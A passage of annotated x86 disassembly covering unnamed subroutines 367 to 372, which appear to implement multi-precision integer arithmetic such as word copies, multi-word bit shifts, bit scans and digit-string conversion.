080647ff  8d 65 f4        lea     0xfffffff4(%ebp),%esp
08064802  5b              pop     %ebx
08064803  5e              pop     %esi
08064804  5f              pop     %edi
08064805  5d              pop     %ebp
08064806  c3              ret
08064807  90              nop


   ;
   ; >--------------------< Subroutine # 367 >--------------------<
   ;
08064808 <Unknown0367>:
08064808  55              push    %ebp
08064809  89 e5           mov     %esp,%ebp
0806480b  56              push    %esi
0806480c  53              push    %ebx
0806480d  8b 4d 10        mov     0x10(%ebp),%ecx
08064810  8b 5d 0c        mov     0xc(%ebp),%ebx
08064813  39 cb           cmp     %ecx,%ebx
08064815  8b 75 08        mov     0x8(%ebp),%esi
08064818  8b 55 14        mov     0x14(%ebp),%edx
0806481b  75 2f           jne     0806484c <Unknown0367+0x44>
0806481d  83 fa 1f        cmp     $0x1f,%edx
08064820  7f 0e           jg      08064830 <Unknown0367+0x28>
08064822  50              push    %eax
08064823  52              push    %edx
08064824  53              push    %ebx
08064825  56              push    %esi
08064826  e8 81 fc ff ff  call    080644ac <Unknown0365>
0806482b  83 c4 10        add     $0x10,%esp
```

```
0806482e  eb 4e                 jmp     0806487e <Unknown0367+0x76>
08064830  8d 04 d5 0f 00 00 00  lea     0xf(,%edx,8),%eax   ;15 'xf x0 x0 x0' ""
08064837  83 e0 f0              and     $0xfffffff0,%eax
0806483a  29 c4                 sub     %eax,%esp
0806483c  54                    push    %esp
0806483d  52                    push    %edx
0806483e  53                    push    %ebx
0806483f  56                    push    %esi
08064840  e8 0f fd ff ff        call    08064554 <Unknown0366>
08064845  83 c4 10              add     $0x10,%esp
08064848  eb 34                 jmp     0806487e <Unknown0367+0x76>
0806484a  89 f6                 mov     %esi,%esi
0806484c  83 fa 1f              cmp     $0x1f,%edx
0806484f  7f 0f                 jg      08064860 <Unknown0367+0x58>
08064851  52                    push    %edx
08064852  51                    push    %ecx
08064853  53                    push    %ebx
08064854  56                    push    %esi
08064855  e8 3e f8 ff ff        call    08064098 <Unknown0363>
0806485a  83 c4 10              add     $0x10,%esp
0806485d  eb 1f                 jmp     0806487e <Unknown0367+0x76>
0806485f  90                    nop
08064860  8d 04 d5 0f 00 00 00  lea     0xf(,%edx,8),%eax   ;15 'xf x0 x0 x0' ""
08064867  83 e0 f0              and     $0xfffffff0,%eax
0806486a  29 c4                 sub     %eax,%esp
0806486c  89 e0                 mov     %esp,%eax
0806486e  83 ec 0c              sub     $0xc,%esp
08064871  50                    push    %eax
08064872  52                    push    %edx
08064873  51                    push    %ecx
08064874  53                    push    %ebx
08064875  56                    push    %esi
08064876  e8 c5 f8 ff ff        call    08064140 <Unknown0364>
0806487b  83 c4 20              add     $0x20,%esp
0806487e  8d 65 f8              lea     0xfffffff8(%ebp),%esp
08064881  5b                    pop     %ebx
08064882  5e                    pop     %esi
08064883  5d                    pop     %ebp
08064884  c3                    ret
08064885  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 368 >---------------------<
  ;
08064888 <Unknown0368>:
08064888  55                    push    %ebp
08064889  89 e5                 mov     %esp,%ebp
0806488b  57                    push    %edi
0806488c  56                    push    %esi
0806488d  53                    push    %ebx
0806488e  83 ec 1c              sub     $0x1c,%esp
08064891  8b 45 10              mov     0x10(%ebp),%eax
08064894  03 45 18              add     0x18(%ebp),%eax
08064897  8b 7d 08              mov     0x8(%ebp),%edi
0806489a  8d 44 87 fc           lea     0xfffffffc(%edi,%eax,4),%eax
0806489e  83 7d 18 1f           cmpl    $0x1f,0x18(%ebp)
080648a2  89 45 f0              mov     %eax,0xfffffff0(%ebp)
080648a5  0f 8f c1 00 00 00     jg      0806486c <Unknown0368+0xe4>   ;193 'xc1 x0 x0 x0' ""
080648ab  8b 55 18              mov     0x18(%ebp),%edx
080648ae  85 d2                 test    %edx,%edx
080648b0  75 0a                 jne     080648bc <Unknown0368+0x34>
080648b2  31 c0                 xor     %eax,%eax
080648b4  e9 47 02 00 00        jmp     08064b00 <Unknown0368+0x278>  ;583 'x47 x2 x0 x0' "G"
080648b9  8d 76 00              lea     0x0(%esi),%esi
080648bc  8b 45 14              mov     0x14(%ebp),%eax
080648bf  8b 10                 mov     (%eax),%edx
080648c1  83 fa 01              cmp     $0x1,%edx
080648c4  77 3a                 ja      08064900 <Unknown0368+0x78>
080648c6  4a                    dec     %edx
080648c7  75 1b                 jne     080648e4 <Unknown0368+0x5c>
080648c9  31 d2                 xor     %edx,%edx
080648cb  3b 55 10              cmp     0x10(%ebp),%edx
080648ce  7d 29                 jge     080648f9 <Unknown0368+0x71>
080648d0  8b 4d 0c              mov     0xc(%ebp),%ecx
080648d3  8b 04 91              mov     (%ecx,%edx,4),%eax
080648d6  89 04 97              mov     %eax,(%edi,%edx,4)
080648d9  42                    inc     %edx
080648da  3b 55 10              cmp     0x10(%ebp),%edx
080648dd  7c f1                 jl      080648d0 <Unknown0368+0x48>
080648df  eb 18                 jmp     080648f9 <Unknown0368+0x71>
080648e1  8d 76 00              lea     0x0(%esi),%esi
080648e4  31 c0                 xor     %eax,%eax
080648e6  3b 45 10              cmp     0x10(%ebp),%eax
```

```
080648e9  7d 0e                    jge      080648f9 <Unknown0368+0x71>
080648eb  90                       nop
080648ec  c7 04 87 00 00 00 00     movl     $0x0,(%edi,%eax,4)   ;0 'x0 x0 x0 x0' ""
080648f3  40                       inc      %eax
080648f4  3b 45 10                 cmp      0x10(%ebp),%eax
080648f7  7c f3                    jl       080648ec <Unknown0368+0x64>
080648f9  31 c0                    xor      %eax,%eax
080648fb  eb 13                    jmp      08064910 <Unknown0368+0x88>
080648fd  8d 76 00                 lea      0x0(%esi),%esi
08064900  52                       push     %edx
08064901  ff 75 10                 pushl    0x10(%ebp)
08064904  ff 75 0c                 pushl    0xc(%ebp)
08064907  57                       push     %edi
08064908  e8 4b f7 ff ff           call     08064058 <Unknown0362>
0806490d  83 c4 10                 add      $0x10,%esp
08064910  8b 55 10                 mov      0x10(%ebp),%edx
08064913  89 04 97                 mov      %eax,(%edi,%edx,4)
08064916  bb 01 00 00 00           mov      $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
0806491b  83 c7 04                 add      $0x4,%edi
0806491e  3b 5d 18                 cmp      0x18(%ebp),%ebx
08064921  0f 8d d9 01 00 00        jge      08064b00 <Unknown0368+0x278>   ;473 'xd9 x1 x0 x0' ""
08064927  90                       nop
08064928  8b 4d 14                 mov      0x14(%ebp),%ecx
0806492b  8b 14 99                 mov      (%ecx,%ebx,4),%edx
0806492e  83 fa 01                 cmp      $0x1,%edx
08064931  77 15                    ja       08064948 <Unknown0368+0xc0>
08064933  31 c0                    xor      %eax,%eax
08064935  4a                       dec      %edx
08064936  75 20                    jne      08064958 <Unknown0368+0xd0>
08064938  ff 75 10                 pushl    0x10(%ebp)
0806493b  ff 75 0c                 pushl    0xc(%ebp)
0806493e  57                       push     %edi
0806493f  57                       push     %edi
08064940  e8 a3 e6 ff ff           call     08062fe8 <Unknown0350>
08064945  eb 0e                    jmp      08064955 <Unknown0368+0xcd>
08064947  90                       nop
08064948  52                       push     %edx
08064949  ff 75 10                 pushl    0x10(%ebp)
0806494c  ff 75 0c                 pushl    0xc(%ebp)
0806494f  57                       push     %edi
08064950  e8 fb 0b 00 00           call     08065550 <Unknown0378>
08064955  83 c4 10                 add      $0x10,%esp
08064958  8b 55 10                 mov      0x10(%ebp),%edx
0806495b  89 04 97                 mov      %eax,(%edi,%edx,4)
0806495e  43                       inc      %ebx
0806495f  83 c7 04                 add      $0x4,%edi
08064962  3b 5d 18                 cmp      0x18(%ebp),%ebx
08064965  7c c1                    jl       08064928 <Unknown0368+0xa0>
08064967  e9 94 01 00 00           jmp      08064b00 <Unknown0368+0x278>   ;404 'x94 x1 x0 x0' ""
0806496c  8b 4d 18                 mov      0x18(%ebp),%ecx
0806496f  8d 1c cd 0f 00 00 00     lea      0xf(,%ecx,8),%ebx   ;15 'xf x0 x0 x0' ""
08064976  83 e3 f0                 and      $0xfffffff0,%ebx
08064979  29 dc                    sub      %ebx,%esp
0806497b  89 65 e8                 mov      %esp,0xffffffe8(%ebp)
0806497e  83 ec 0c                 sub      $0xc,%esp
08064981  ff 75 e8                 pushl    0xffffffe8(%ebp)
08064984  51                       push     %ecx
08064985  ff 75 14                 pushl    0x14(%ebp)
08064988  ff 75 0c                 pushl    0xc(%ebp)
0806498b  57                       push     %edi
0806498c  e8 af f7 ff ff           call     08064140 <Unknown0364>
08064991  83 c4 20                 add      $0x20,%esp
08064994  8b 45 18                 mov      0x18(%ebp),%eax
08064997  8b 55 18                 mov      0x18(%ebp),%edx
0806499a  c1 e0 02                 shl      $0x2,%eax
0806499d  29 55 10                 sub      %edx,0x10(%ebp)
080649a0  01 c7                    add      %eax,%edi
080649a2  01 45 0c                 add      %eax,0xc(%ebp)
080649a5  39 55 10                 cmp      %edx,0x10(%ebp)
080649a8  0f 8c c1 00 00 00        jl       08064a6f <Unknown0368+0x1e7>   ;193 'xc1 x0 x0 x0' ""
080649ae  29 dc                    sub      %ebx,%esp
080649b0  89 65 e4                 mov      %esp,0xffffffe4(%ebp)
080649b3  89 45 e0                 mov      %eax,0xffffffe0(%ebp)
080649b6  89 f6                    mov      %esi,%esi
080649b8  83 7d 18 1f              cmpl     $0x1f,0x18(%ebp)
080649bc  7f 16                    jg       080649d4 <Unknown0368+0x14c>
080649be  ff 75 18                 pushl    0x18(%ebp)
080649c1  ff 75 14                 pushl    0x14(%ebp)
080649c4  ff 75 0c                 pushl    0xc(%ebp)
080649c7  ff 75 e4                 pushl    0xffffffe4(%ebp)
080649ca  e8 c9 f6 ff ff           call     08064098 <Unknown0363>
080649cf  83 c4 10                 add      $0x10,%esp
080649d2  eb 1a                    jmp      080649ee <Unknown0368+0x166>
080649d4  83 ec 0c                 sub      $0xc,%esp
```

```
080649d7  ff 75 e8              pushl   0xffffffe8(%ebp)
080649da  ff 75 18              pushl   0x18(%ebp)
080649dd  ff 75 14              pushl   0x14(%ebp)
080649e0  ff 75 0c              pushl   0xc(%ebp)
080649e3  ff 75 e4              pushl   0xffffffe4(%ebp)
080649e6  e8 55 f7 ff ff        call    08064140 <Unknown0364>
080649eb  83 c4 20              add     $0x20,%esp
080649ee  ff 75 18              pushl   0x18(%ebp)
080649f1  ff 75 e4              pushl   0xffffffe4(%ebp)
080649f4  57                    push    %edi
080649f5  57                    push    %edi
080649f6  e8 ed e5 ff ff        call    08062fe8 <Unknown0350>
080649fb  89 45 ec              mov     %eax,0xffffffec(%ebp)
080649fe  8b 55 e4              mov     0xffffffe4(%ebp),%edx
08064a01  8b 45 e0              mov     0xffffffe0(%ebp),%eax
08064a04  8d 0c 02              lea     (%edx,%eax,1),%ecx
08064a07  8b 11                 mov     (%ecx),%edx
08064a09  8b 5d e0              mov     0xffffffe0(%ebp),%ebx
08064a0c  8b 45 ec              mov     0xffffffec(%ebp),%eax
08064a0f  01 fb                 add     %edi,%ebx
08064a11  01 d0                 add     %edx,%eax
08064a13  8b 75 18              mov     0x18(%ebp),%esi
08064a16  83 c4 10              add     $0x10,%esp
08064a19  83 c1 04              add     $0x4,%ecx
08064a1c  89 03                 mov     %eax,(%ebx)
08064a1e  83 c3 04              add     $0x4,%ebx
08064a21  39 d0                 cmp     %edx,%eax
08064a23  73 1b                 jae     08064a40 <Unknown0368+0x1b8>
08064a25  8b 75 18              mov     0x18(%ebp),%esi
08064a28  4e                    dec     %esi
08064a29  74 2c                 je      08064a57 <Unknown0368+0x1cf>
08064a2b  90                    nop
08064a2c  8b 11                 mov     (%ecx),%edx
08064a2e  42                    inc     %edx
08064a2f  83 c1 04              add     $0x4,%ecx
08064a32  89 13                 mov     %edx,(%ebx)
08064a34  83 c3 04              add     $0x4,%ebx
08064a37  85 d2                 test    %edx,%edx
08064a39  75 05                 jne     08064a40 <Unknown0368+0x1b8>
08064a3b  4e                    dec     %esi
08064a3c  75 ee                 jne     08064a2c <Unknown0368+0x1a4>
08064a3e  eb 17                 jmp     08064a57 <Unknown0368+0x1cf>
08064a40  39 cb                 cmp     %ecx,%ebx
08064a42  74 13                 je      08064a57 <Unknown0368+0x1cf>
08064a44  31 d2                 xor     %edx,%edx
08064a46  4e                    dec     %esi
08064a47  39 f2                 cmp     %esi,%edx
08064a49  7d 0c                 jge     08064a57 <Unknown0368+0x1cf>
08064a4b  90                    nop
08064a4c  8b 04 91              mov     (%ecx,%edx,4),%eax
08064a4f  89 04 93              mov     %eax,(%ebx,%edx,4)
08064a52  42                    inc     %edx
08064a53  39 f2                 cmp     %esi,%edx
08064a55  7c f5                 jl      08064a4c <Unknown0368+0x1c4>
08064a57  8b 45 18              mov     0x18(%ebp),%eax
08064a5a  8b 4d e0              mov     0xffffffe0(%ebp),%ecx
08064a5d  29 45 10              sub     %eax,0x10(%ebp)
08064a60  03 7d e0              add     0xffffffe0(%ebp),%edi
08064a63  01 4d 0c              add     %ecx,0xc(%ebp)
08064a66  39 45 10              cmp     %eax,0x10(%ebp)
08064a69  0f 8d 49 ff ff ff     jge     080649b8 <Unknown0368+0x130>   ;-183 'x49 xff xff xff' "I"
08064a6f  8b 45 10              mov     0x10(%ebp),%eax
08064a72  85 c0                 test    %eax,%eax
08064a74  0f 84 81 00 00 00     je      08064afb <Unknown0368+0x273>   ;129 'x81 x0 x0 x0' ""
08064a7a  83 ec 0c              sub     $0xc,%esp
08064a7d  ff 75 10              pushl   0x10(%ebp)
08064a80  ff 75 0c              pushl   0xc(%ebp)
08064a83  ff 75 18              pushl   0x18(%ebp)
08064a86  ff 75 14              pushl   0x14(%ebp)
08064a89  ff 75 e8              pushl   0xffffffe8(%ebp)
08064a8c  e8 f7 fd ff ff        call    08064888 <Unknown0368>
08064a91  83 c4 20              add     $0x20,%esp
08064a94  ff 75 18              pushl   0x18(%ebp)
08064a97  ff 75 e8              pushl   0xffffffe8(%ebp)
08064a9a  57                    push    %edi
08064a9b  57                    push    %edi
08064a9c  e8 47 e5 ff ff        call    08062fe8 <Unknown0350>
08064aa1  89 45 ec              mov     %eax,0xffffffec(%ebp)
08064aa4  8b 45 18              mov     0x18(%ebp),%eax
08064aa7  c1 e0 02              shl     $0x2,%eax
08064aaa  8b 55 e8              mov     0xffffffe8(%ebp),%edx
08064aad  8d 1c 02              lea     (%edx,%eax,1),%ebx
08064ab0  8b 13                 mov     (%ebx),%edx
08064ab2  8d 34 07              lea     (%edi,%eax,1),%esi
```

```
08064ab5   8b 45 ec           mov      0xffffffec(%ebp),%eax
08064ab8   01 d0              add      %edx,%eax
08064aba   8b 4d 10           mov      0x10(%ebp),%ecx
08064abd   83 c4 10           add      $0x10,%esp
08064ac0   83 c3 04           add      $0x4,%ebx
08064ac3   89 06              mov      %eax,(%esi)
08064ac5   83 c6 04           add      $0x4,%esi
08064ac8   39 d0              cmp      %edx,%eax
08064aca   73 18              jae      08064ae4 <Unknown0368+0x25c>
08064acc   49                 dec      %ecx
08064acd   74 2c              je       08064afb <Unknown0368+0x273>
08064acf   90                 nop
08064ad0   8b 13              mov      (%ebx),%edx
08064ad2   42                 inc      %edx
08064ad3   83 c3 04           add      $0x4,%ebx
08064ad6   89 16              mov      %edx,(%esi)
08064ad8   83 c6 04           add      $0x4,%esi
08064adb   85 d2              test     %edx,%edx
08064add   75 05              jne      08064ae4 <Unknown0368+0x25c>
08064adf   49                 dec      %ecx
08064ae0   75 ee              jne      08064ad0 <Unknown0368+0x248>
08064ae2   eb 17              jmp      08064afb <Unknown0368+0x273>
08064ae4   39 de              cmp      %ebx,%esi
08064ae6   74 13              je       08064afb <Unknown0368+0x273>
08064ae8   31 d2              xor      %edx,%edx
08064aea   49                 dec      %ecx
08064aeb   39 ca              cmp      %ecx,%edx
08064aed   7d 0c              jge      08064afb <Unknown0368+0x273>
08064aef   90                 nop
08064af0   8b 04 93           mov      (%ebx,%edx,4),%eax
08064af3   89 04 96           mov      %eax,(%esi,%edx,4)
08064af6   42                 inc      %edx
08064af7   39 ca              cmp      %ecx,%edx
08064af9   7c f5              jl       08064af0 <Unknown0368+0x268>
08064afb   8b 4d f0           mov      0xfffffff0(%ebp),%ecx
08064afe   8b 01              mov      (%ecx),%eax
08064b00   8d 65 f4           lea      0xfffffff4(%ebp),%esp
08064b03   5b                 pop      %ebx
08064b04   5e                 pop      %esi
08064b05   5f                 pop      %edi
08064b06   5d                 pop      %ebp
08064b07   c3                 ret


   ;
   ; >--------------------<  Subroutine # 369 >--------------------<
   ;
08064b08 <Unknown0369>:
08064b08   57                 push     %edi
08064b09   56                 push     %esi
08064b0a   53                 push     %ebx


   ;
   ; >--------------------<  Subroutine # 370 >--------------------<
   ;
08064b0b <Unknown0370>:
08064b0b   55                 push     %ebp
08064b0c   8b 7c 24 14        mov      0x14(%esp,1),%edi
08064b10   8b 74 24 18        mov      0x18(%esp,1),%esi
08064b14   8b 6c 24 1c        mov      0x1c(%esp,1),%ebp
08064b18   8b 4c 24 20        mov      0x20(%esp,1),%ecx
08064b1c   83 f9 01           cmp      $0x1,%ecx
08064b1f   75 16              jne      08064b37 <Unknown0370+0x2c>
08064b21   8d 47 04           lea      0x4(%edi),%eax
08064b24   39 f0              cmp      %esi,%eax
08064b26   0f 83 96 00 00 00  jae      08064bc2 <Unknown0370+0xb7>   ;150 'x96 x0 x0 x0' ""
08064b2c   8d 04 af           lea      (%edi,%ebp,4),%eax
08064b2f   39 c6              cmp      %eax,%esi
08064b31   0f 83 8b 00 00 00  jae      08064bc2 <Unknown0370+0xb7>   ;139 'x8b x0 x0 x0' ""
08064b37   8b 16              mov      (%esi),%edx
08064b39   83 c6 04           add      $0x4,%esi
08064b3c   31 c0              xor      %eax,%eax
08064b3e   0f ad d0           shrd     %cl,%edx,%eax
08064b41   50                 push     %eax
08064b42   4d                 dec      %ebp
08064b43   55                 push     %ebp
08064b44   c1 ed 03           shr      $0x3,%ebp
08064b47   74 57              je       08064ba0 <Unknown0370+0x95>
08064b49   8b 07              mov      (%edi),%eax
08064b4b   90                 nop
08064b4c   8b 47 1c           mov      0x1c(%edi),%eax
08064b4f   89 d3              mov      %edx,%ebx
08064b51   8b 06              mov      (%esi),%eax
```

```
08064b53   8b 56 04        mov     0x4(%esi),%edx
08064b56   0f ad c3        shrd    %cl,%eax,%ebx
08064b59   0f ad d0        shrd    %cl,%edx,%eax
08064b5c   89 1f           mov     %ebx,(%edi)
08064b5e   89 47 04        mov     %eax,0x4(%edi)
08064b61   8b 5e 08        mov     0x8(%esi),%ebx
08064b64   8b 46 0c        mov     0xc(%esi),%eax
08064b67   0f ad da        shrd    %cl,%ebx,%edx
08064b6a   0f ad c3        shrd    %cl,%eax,%ebx
08064b6d   89 57 08        mov     %edx,0x8(%edi)
08064b70   89 5f 0c        mov     %ebx,0xc(%edi)
08064b73   8b 56 10        mov     0x10(%esi),%edx
08064b76   8b 5e 14        mov     0x14(%esi),%ebx
08064b79   0f ad d0        shrd    %cl,%edx,%eax
08064b7c   0f ad da        shrd    %cl,%ebx,%edx
08064b7f   89 47 10        mov     %eax,0x10(%edi)
08064b82   89 57 14        mov     %edx,0x14(%edi)
08064b85   8b 46 18        mov     0x18(%esi),%eax
08064b88   8b 56 1c        mov     0x1c(%esi),%edx
08064b8b   0f ad c3        shrd    %cl,%eax,%ebx
08064b8e   0f ad d0        shrd    %cl,%edx,%eax
08064b91   89 5f 18        mov     %ebx,0x18(%edi)
08064b94   89 47 1c        mov     %eax,0x1c(%edi)
08064b97   83 c6 20        add     $0x20,%esi
08064b9a   83 c7 20        add     $0x20,%edi
08064b9d   4d              dec     %ebp
08064b9e   75 ac           jne     08064b4c <Unknown0370+0x41>
08064ba0   5d              pop     %ebp
08064ba1   83 e5 07        and     $0x7,%ebp
08064ba4   74 12           je      08064bb8 <Unknown0370+0xad>
08064ba6   8b 06           mov     (%esi),%eax
08064ba8   0f ad c2        shrd    %cl,%eax,%edx
08064bab   89 17           mov     %edx,(%edi)
08064bad   89 c2           mov     %eax,%edx
08064baf   83 c6 04        add     $0x4,%esi
08064bb2   83 c7 04        add     $0x4,%edi
08064bb5   4d              dec     %ebp
08064bb6   75 ee           jne     08064ba6 <Unknown0370+0x9b>
08064bb8   d3 ea           shr     %cl,%edx
08064bba   89 17           mov     %edx,(%edi)
08064bbc   58              pop     %eax
08064bbd   5d              pop     %ebp
08064bbe   5b              pop     %ebx
08064bbf   5e              pop     %esi
08064bc0   5f              pop     %edi
08064bc1   c3              ret
08064bc2   8d 7c af fc     lea     0xfffffffc(%edi,%ebp,4),%edi
08064bc6   8d 74 ae fc     lea     0xfffffffc(%esi,%ebp,4),%esi
08064bca   8b 16           mov     (%esi),%edx
08064bcc   83 ee 04        sub     $0x4,%esi
08064bcf   4d              dec     %ebp
08064bd0   55              push    %ebp
08064bd1   c1 ed 03        shr     $0x3,%ebp
08064bd4   d1 ea           shr     %edx
08064bd6   45              inc     %ebp
08064bd7   4d              dec     %ebp
08064bd8   74 4e           je      08064c28 <Unknown0370+0x11d>
08064bda   8b 07           mov     (%edi),%eax
08064bdc   8b 47 e4        mov     0xffffffe4(%edi),%eax
08064bdf   89 d3           mov     %edx,%ebx
08064be1   8b 06           mov     (%esi),%eax
08064be3   8b 56 fc        mov     0xfffffffc(%esi),%edx
08064be6   d1 d8           rcr     %eax
08064be8   89 1f           mov     %ebx,(%edi)
08064bea   d1 da           rcr     %edx
08064bec   89 47 fc        mov     %eax,0xfffffffc(%edi)
08064bef   8b 5e f8        mov     0xfffffff8(%esi),%ebx
08064bf2   8b 46 f4        mov     0xfffffff4(%esi),%eax
08064bf5   d1 db           rcr     %ebx
08064bf7   89 57 f8        mov     %edx,0xfffffff8(%edi)
08064bfa   d1 d8           rcr     %eax
08064bfc   89 5f f4        mov     %ebx,0xfffffff4(%edi)
08064bff   8b 56 f0        mov     0xfffffff0(%esi),%edx
08064c02   8b 5e ec        mov     0xffffffec(%esi),%ebx
08064c05   d1 da           rcr     %edx
08064c07   89 47 f0        mov     %eax,0xfffffff0(%edi)
08064c0a   d1 db           rcr     %ebx
08064c0c   89 57 ec        mov     %edx,0xffffffec(%edi)
08064c0f   8b 46 e8        mov     0xffffffe8(%esi),%eax
08064c12   8b 56 e4        mov     0xffffffe4(%esi),%edx
08064c15   d1 d8           rcr     %eax
08064c17   89 5f e8        mov     %ebx,0xffffffe8(%edi)
08064c1a   d1 da           rcr     %edx
08064c1c   89 47 e4        mov     %eax,0xffffffe4(%edi)
```

```
08064c1f   8d 76 e0             lea     0xffffffe0(%esi),%esi
08064c22   8d 7f e0             lea     0xffffffe0(%edi),%edi
08064c25   4d                   dec     %ebp
08064c26   75 b4                jne     08064bdc <Unknown0370+0xd1>
08064c28   5d                   pop     %ebp
08064c29   19 c0                sbb     %eax,%eax
08064c2b   83 e5 07             and     $0x7,%ebp
08064c2e   74 15                je      08064c45 <Unknown0370+0x13a>
08064c30   01 c0                add     %eax,%eax
08064c32   89 d3                mov     %edx,%ebx
08064c34   8b 16                mov     (%esi),%edx
08064c36   d1 da                rcr     %edx
08064c38   89 1f                mov     %ebx,(%edi)
08064c3a   8d 76 fc             lea     0xfffffffc(%esi),%esi
08064c3d   8d 7f fc             lea     0xfffffffc(%edi),%edi
08064c40   4d                   dec     %ebp
08064c41   75 ef                jne     08064c32 <Unknown0370+0x127>
08064c43   eb 02                jmp     08064c47 <Unknown0370+0x13c>
08064c45   01 c0                add     %eax,%eax
08064c47   89 17                mov     %edx,(%edi)
08064c49   b8 00 00 00 00       mov     $0x0,%eax   ;0 'x0 x0 x0 x0' ""
08064c4e   d1 d8                rcr     %eax
08064c50   5d                   pop     %ebp
08064c51   5b                   pop     %ebx
08064c52   5e                   pop     %esi
08064c53   5f                   pop     %edi
08064c54   c3                   ret
08064c55   8d 76 00             lea     0x0(%esi),%esi


   ;
   ; >--------------------< Subroutine # 371 >--------------------<
   ;
08064c58 <Unknown0371>:
08064c58   55                   push    %ebp
08064c59   89 e5                mov     %esp,%ebp
08064c5b   8b 4d 0c             mov     0xc(%ebp),%ecx
08064c5e   89 c8                mov     %ecx,%eax
08064c60   56                   push    %esi
08064c61   c1 e8 05             shr     $0x5,%eax
08064c64   8b 75 08             mov     0x8(%ebp),%esi
08064c67   53                   push    %ebx
08064c68   83 e1 1f             and     $0x1f,%ecx
08064c6b   8d 1c 86             lea     (%esi,%eax,4),%ebx
08064c6e   b8 ff ff ff ff       mov     $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
08064c73   8b 13                mov     (%ebx),%edx
08064c75   d3 e0                shl     %cl,%eax
08064c77   83 c3 04             add     $0x4,%ebx
08064c7a   21 c2                and     %eax,%edx
08064c7c   75 0b                jne     08064c89 <Unknown0371+0x31>
08064c7e   89 f6                mov     %esi,%esi
08064c80   8b 13                mov     (%ebx),%edx
08064c82   83 c3 04             add     $0x4,%ebx
08064c85   85 d2                test    %edx,%edx
08064c87   74 f7                je      08064c80 <Unknown0371+0x28>
08064c89   89 d0                mov     %edx,%eax
08064c8b   f7 d8                neg     %eax
08064c8d   21 c2                and     %eax,%edx
08064c8f   0f bd c2             bsr     %edx,%eax
08064c92   29 f3                sub     %esi,%ebx
08064c94   83 f0 e0             xor     $0xffffffe0,%eax
08064c97   8d 04 d8             lea     (%eax,%ebx,8),%eax
08064c9a   5b                   pop     %ebx
08064c9b   5e                   pop     %esi
08064c9c   5d                   pop     %ebp
08064c9d   c3                   ret
08064c9e   89 f6                mov     %esi,%esi


   ;
   ; >--------------------< Subroutine # 372 >--------------------<
   ;
08064ca0 <Unknown0372>:
08064ca0   55                   push    %ebp
08064ca1   89 e5                mov     %esp,%ebp
08064ca3   57                   push    %edi
08064ca4   56                   push    %esi
08064ca5   53                   push    %ebx
08064ca6   83 ec 1c             sub     $0x1c,%esp
08064ca9   8b 55 14             mov     0x14(%ebp),%edx
08064cac   c1 e2 04             shl     $0x4,%edx
08064caf   8b 82 e8 57 07 08    mov     0x80757e8(%edx),%eax   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08064cb5   89 45 ec             mov     %eax,0xffffffec(%ebp)
08064cb8   8b 82 e0 57 07 08    mov     0x80757e0(%edx),%eax   ;[in .rodata] 0 'x0 x0 x0 x0' ""
```

```
08064cbe   89 45 e8          mov     %eax,0xffffffe8(%ebp)
08064cc1   8b 45 14          mov     0x14(%ebp),%eax
08064cc4   48                dec     %eax
08064cc5   85 45 14          test    %eax,0x14(%ebp)
08064cc8   c7 45 f0 00 00 00 00   movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08064ccf   75 77             jne     08064d48 <Unknown0372+0xa8>
08064cd1   8b 55 ec          mov     0xffffffec(%ebp),%edx
08064cd4   8b 4d 0c          mov     0xc(%ebp),%ecx
08064cd7   8b 75 10          mov     0x10(%ebp),%esi
08064cda   89 55 d8          mov     %edx,0xffffffd8(%ebp)
08064cdd   8d 54 0e ff       lea     0xffffffff(%esi,%ecx,1),%edx
08064ce1   31 db             xor     %ebx,%ebx
08064ce3   39 ca             cmp     %ecx,%edx
08064ce5   c7 45 e4 00 00 00 00   movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08064cec   72 39             jb      08064d27 <Unknown0372+0x87>
08064cee   89 f6             mov     %esi,%esi
08064cf0   0f b6 32          movzbl  (%edx),%esi
08064cf3   88 d9             mov     %bl,%cl
08064cf5   89 f0             mov     %esi,%eax
08064cf7   d3 e0             shl     %cl,%eax
08064cf9   03 5d d8          add     0xffffffd8(%ebp),%ebx
08064cfc   09 45 e4          or      %eax,0xffffffe4(%ebp)
08064cff   83 fb 1f          cmp     $0x1f,%ebx
08064d02   7e 1d             jle     08064d21 <Unknown0372+0x81>
08064d04   8b 7d f0          mov     0xfffffff0(%ebp),%edi
08064d07   8b 45 e4          mov     0xffffffe4(%ebp),%eax
08064d0a   8b 4d 08          mov     0x8(%ebp),%ecx
08064d0d   89 04 b9          mov     %eax,(%ecx,%edi,4)
08064d10   83 eb 20          sub     $0x20,%ebx
08064d13   8b 4d d8          mov     0xffffffd8(%ebp),%ecx
08064d16   29 d9             sub     %ebx,%ecx
08064d18   47                inc     %edi
08064d19   d3 fe             sar     %cl,%esi
08064d1b   89 7d f0          mov     %edi,0xfffffff0(%ebp)
08064d1e   89 75 e4          mov     %esi,0xffffffe4(%ebp)
08064d21   4a                dec     %edx
08064d22   3b 55 0c          cmp     0xc(%ebp),%edx
08064d25   73 c9             jae     08064cf0 <Unknown0372+0x50>
08064d27   8b 75 e4          mov     0xffffffe4(%ebp),%esi
08064d2a   85 f6             test    %esi,%esi
08064d2c   0f 84 8c 02 00 00   je      08064fbe <Unknown0373+0x111>   ;652 'x8c x2 x0 x0' ""
08064d32   8b 5d f0          mov     0xfffffff0(%ebp),%ebx
08064d35   8b 75 e4          mov     0xffffffe4(%ebp),%esi
08064d38   8b 7d 08          mov     0x8(%ebp),%edi
08064d3b   89 34 9f          mov     %esi,(%edi,%ebx,4)
08064d3e   43                inc     %ebx
08064d3f   89 5d f0          mov     %ebx,0xfffffff0(%ebp)
08064d42   e9 77 02 00 00    jmp     08064fbe <Unknown0373+0x111>   ;631 'x77 x2 x0 x0' "w"
08064d47   90                nop
08064d48   8b 45 e8          mov     0xffffffe8(%ebp),%eax
08064d4b   8b 55 10          mov     0x10(%ebp),%edx
08064d4e   39 d0             cmp     %edx,%eax
08064d50   89 45 e0          mov     %eax,0xffffffe0(%ebp)
08064d53   0f 83 23 01 00 00   jae     08064e7c <Unknown0372+0x1dc>   ;291 'x23 x1 x0 x0' "#"
08064d59   8d 76 00          lea     0x0(%esi),%esi
08064d5c   8b 4d 0c          mov     0xc(%ebp),%ecx
08064d5f   0f b6 09          movzbl  (%ecx),%ecx
08064d62   ff 45 0c          incl    0xc(%ebp)
